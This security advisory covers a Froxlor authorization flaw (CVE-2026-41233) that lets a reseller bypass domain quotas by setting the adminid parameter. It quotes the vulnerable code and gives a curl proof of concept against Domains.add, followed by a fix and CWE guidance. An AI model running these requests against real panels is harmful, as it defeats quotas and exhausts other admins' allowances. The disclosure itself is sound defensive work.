GHSA-jvx4-xv3m-hrj4 CVE-2026-41233
Froxlor has a Reseller Domain Quota Bypass via Unvalidated adminid Parameter in Domains.add()
- Severity
- 5.4 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- 0.26%
- Chance of exploitation in the next 30 days. Higher than 18.36% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-863 Incorrect Authorization
- Fix
2.3.6- Upgrade froxlor/froxlor to this version or later
Description
Summary
In Domains.add(), the adminid parameter is accepted from user input and used without validation when the calling reseller does not have the customers_see_all permission. This allows a reseller to attribute newly created domains to any other admin, bypassing their own domain quota (since the wrong admin's domains_used counter is incremented) and potentially exhausting another admin's quota.
Details
In lib/Froxlor/Api/Commands/Domains.php, the add() method accepts adminid as an optional parameter at line 327:
$adminid = intval($this->getParam('adminid', true, $this->getUserDetail('adminid')));
The validation for this parameter only runs when the caller has customers_see_all == '1' (lines 410-421):
if ($this->getUserDetail('customers_see_all') == '1' && $adminid != $this->getUserDetail('adminid')) {
$admin_stmt = Database::prepare("
SELECT * FROM `" . TABLE_PANEL_ADMINS . "`
WHERE `adminid` = :adminid AND (`domains_used` < `domains` OR `domains` = '-1')");
$admin = Database::pexecute_first($admin_stmt, [
'adminid' => $adminid
], true, true);
if (empty($admin)) {
Response::dynamicError("Selected admin cannot have any more domains or could not be found");
}
unset($admin);
}
When a reseller does not have customers_see_all (the common case for limited resellers), there is no else branch to force $adminid = $this->getUserDetail('adminid'). The unvalidated $adminid flows directly into:
- The domain INSERT at line 757:
'adminid' => $adminid - The quota increment at lines 862-868:
$upd_stmt = Database::prepare("
UPDATE `" . TABLE_PANEL_ADMINS . "` SET `domains_used` = `domains_used` + 1
WHERE `adminid` = :adminid
");
Database::pexecute($upd_stmt, ['adminid' => $adminid], true, true);
Compare with Domains.update() at lines 1386-1387 which correctly handles this case:
} else {
$adminid = $result['adminid'];
}
The initial quota check at line 321 checks the caller's own quota ($this->getUserDetail('domains_used')), but since the caller's domains_used is never incremented (the wrong admin's counter is incremented instead), this check passes indefinitely.
Note: The getCustomerData() call at line 407 does correctly restrict the customerid to the reseller's own customers (via Customers.get which filters by adminid). However, this does not prevent the adminid field itself from being spoofed.
PoC
# Step 1: Create a domain with the reseller's API key, specifying a different admin's ID
curl -s -u RESELLER_API_KEY:RESELLER_API_SECRET -X POST https://froxlor.example/api.php \
-d '{"command": "Domains.add", "params": {"domain": "bypass-test-1.com", "customerid": 3, "adminid": 1}}'
# Where:
# - RESELLER_API_KEY:RESELLER_API_SECRET = API credentials for a reseller WITHOUT customers_see_all
# - customerid=3 = one of the reseller's own customers
# - adminid=1 = the super-admin's ID (or any other admin's ID)
# Step 2: Verify the domain was created with adminid=1
# In the database: SELECT adminid, domain FROM panel_domains WHERE domain='bypass-test-1.com';
# Expected: adminid=1
# Step 3: Check the reseller's quota was NOT incremented
# In the database: SELECT adminid, domains_used, domains FROM panel_admins WHERE adminid=<reseller_id>;
# Expected: domains_used unchanged
# Step 4: Check the target admin's quota WAS incremented
# In the database: SELECT adminid, domains_used, domains FROM panel_admins WHERE adminid=1;
# Expected: domains_used incremented by 1
# Step 5: Repeat with different domain names to demonstrate unlimited creation
curl -s -u RESELLER_API_KEY:RESELLER_API_SECRET -X POST https://froxlor.example/api.php \
-d '{"command": "Domains.add", "params": {"domain": "bypass-test-2.com", "customerid": 3, "adminid": 1}}'
curl -s -u RESELLER_API_KEY:RESELLER_API_SECRET -X POST https://froxlor.example/api.php \
-d '{"command": "Domains.add", "params": {"domain": "bypass-test-3.com", "customerid": 3, "adminid": 1}}'
# The reseller's domains_used remains unchanged, allowing indefinite creation
Impact
- Quota bypass: A reseller can create unlimited domains beyond their allocated quota, since their own
domains_usedcounter is never incremented. - Quota exhaustion DoS: The target admin's
domains_usedcounter is incremented instead, potentially exhausting their quota and preventing legitimate domain creation. - Data integrity violation: Domains are associated with an admin who does not own the customer, breaking the ownership model. These domains become invisible to the reseller in domain listings (which filter by
adminid) but remain active on the server. - Accounting inaccuracy: Resource usage reporting and billing tied to admin quotas becomes incorrect.
Recommended Fix
Add an else branch to force $adminid to the caller's own admin ID when customers_see_all != '1', consistent with the pattern used in Domains.update():
// In lib/Froxlor/Api/Commands/Domains.php, after line 421:
if ($this->getUserDetail('customers_see_all') == '1' && $adminid != $this->getUserDetail('adminid')) {
$admin_stmt = Database::prepare("
SELECT * FROM `" . TABLE_PANEL_ADMINS . "`
WHERE `adminid` = :adminid AND (`domains_used` < `domains` OR `domains` = '-1')");
$admin = Database::pexecute_first($admin_stmt, [
'adminid' => $adminid
], true, true);
if (empty($admin)) {
Response::dynamicError("Selected admin cannot have any more domains or could not be found");
}
unset($admin);
} else {
// Force adminid to the caller's own ID when they don't have customers_see_all
$adminid = intval($this->getUserDetail('adminid'));
}
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| froxlor/froxlor | < 2.3.6 |
2.3.6 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
froxlor/froxlor Packagist → 2.3.6
- composer
composer require froxlor/froxlor:^2.3.6
Severity breakdown
CVSS 3.1 5.4
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- Low
- Availability
- Low
Weakness
CWE-863: Incorrect Authorization
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
How to prevent it
- Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
- Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
- Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
- System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-7788-ghfq-c6mh Froxlor: Credential and 2FA secret disclosure via Froxlor API endpoints | Critical | Also affects froxlor/froxlor |
| GHSA-xpr4-8vp6-c87j Froxlor has CSRF Vulnerability in AJAX Endpoint — Missing Cross-Site Request Forgery Protection | Medium | Also affects froxlor/froxlor |
| GHSA-5rw4-4665-cvwf Froxlor DomainZones.add allows DNS zone-file RR injection via record/type fields | Medium | Also affects froxlor/froxlor |
| GHSA-w27m-rmmf-g5w4 Froxlor: Second-Order SQL Injection via `Admins.add` `ipaddress` Parameter Allows Full Database Exfiltration | High | Also affects froxlor/froxlor |
| GHSA-43gm-9rr3-cx7g Froxlor: Stored XSS in DNS TXT Record Content Allows Customer-to-Admin Account Takeover | High | Also affects froxlor/froxlor |
| GHSA-q4rm-m6xh-5pv7 Froxlor customer can create MySQL databases on disallowed servers via Mysqls.add API | Medium | Also affects froxlor/froxlor |
| GHSA-mr9h-45p9-fg8h Froxlor: Authenticated customers can read other customers' allowed sender aliases | Medium | Also affects froxlor/froxlor |
| GHSA-f9rx-7wf7-jr36 Froxlor's API Authentication bypasses 2FA Authentication | High | Also affects froxlor/froxlor |
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